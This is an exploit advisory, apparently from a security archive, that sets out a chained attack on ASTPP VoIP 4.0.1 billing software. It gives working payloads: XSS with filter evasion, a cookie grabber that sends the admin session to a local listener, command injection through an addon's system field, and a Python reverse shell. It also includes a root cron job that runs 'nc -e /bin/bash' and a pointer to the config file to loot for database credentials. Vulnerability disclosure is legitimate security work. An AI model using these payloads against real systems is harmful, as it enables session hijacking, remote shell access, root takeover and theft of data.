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ASTPP VoIP 4.0.1 Remote Code Execution

ASTPP VoIP 4.0.1 Remote Code Execution
Posted Jan 8, 2020
Authored by Fabien Aunay

ASTPP VoIP version 4.0.1 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 0bac9bc8752b1acc6e2aa26bbeaf0fd6a77bfeb6048649743f2f7b5354a41c00

ASTPP VoIP 4.0.1 Remote Code Execution

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# Exploit Title: ASTPP VoIP 4.0.1 - Remote Code Execution
# Date: 2019-11-18
# Exploit Author: Fabien AUNAY
# Vendor Homepage: https://www.astppbilling.org/
# Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1
# Version: 4.0.1 vendor default setup script
# Tested on: Debian 9 - CentOS 7
# CVE : -

###########################################################################################################
ASTPP 4.0.1 VoIP Billing Chained Remote Root
A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers!
It is available as an open source solution. It means without any investment, one can start his telephony
business using ASTPP.
ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a
comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing
solution to “A Smart TelePhony Platform”.
The latest version of ASTPP is provisioned with some advanced functional modules which are designed
to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class
4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart
Technology.

Steps are as follows:
Objective 1 : Edit the SIP device and try to test user inputs
Objective 2 : Try to trigger a XSS
Objective 3 : Try to evade filters
Objective 4 : Session Hijack
Objective 5 : Plugin command injection
Objective 6 : Reverse shell
Objective 7 : Root the system
Objective 8 : Looting

###########################################################################################################

Objective 1 : html code in SIP Caller Number
POC: <b>ASTPP html test</b>

Objective 2 : XSS injection in SIP Caller Name
POC: <svg/onload=alert('XsS-Inj3cTIoN')>

Objective 3 : XSS document.cookie evasion
POC: <svg/onload=alert(document/*foo*/./*bar*/cookie)>

Objective 4 : XSS document.cookie grabber
POC: <svg/onload=window.open("http://127.0.0.1:8080/?"+document/*foo*/./*bar*/cookie)>

Alternative : if the user input is limited, it is possible in some cases to modify the length with the inspector
POC: <input data-ripple="" type="text" name="name" value="1" placeholder="" size="20" maxlength="30" class="col-md-12 form-control form-control-lg">
POC': <input data-ripple="" type="text" name="name" value="1" placeholder="" size="20" maxlength="250" class="col-md-12 form-control form-control-lg">

Objective 5 : Plugin command injection
After administrator cookie and session hijack, it is possible to install some stuff. ASTPP allows one of the best to perform a system command injection.
The get addons sub menu, allow attacker to install “Switch Monitoring”. Use the system command followed by your instructions and press 'Submit'
POC : system date;id;whoami

Objective 6 : Reverse shell
POC: system python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Objective 7 : Root the system
A vulnerability was identified in web Crons menu. The cron task was executed with root permissions due to a wrong configuration of the installation script.
Before use it, you should step back to your reverse shell and check the date of the server.

POC:
Name: Exploit cron
Command: nc 127.0.0.1 8080 -e /bin/bash
Interval Type: Minute
Interval: 1
Next Execution Date: xxxx-xx-xx yy:yy:yy
Status: Active

Objective 8 : Looting
The /var/lib/astpp/astpp-config.conf file contains all information to explore the database.
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